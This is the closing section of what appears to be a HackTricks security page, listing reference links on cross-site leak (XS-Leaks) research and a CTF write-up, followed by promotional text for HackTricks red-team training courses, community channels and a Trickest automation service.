• https://github.com/xsleaks/xsleaks

• https://xsinator.com/

• https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Automate OffSec, EASM, and Custom Security Processes | Trickest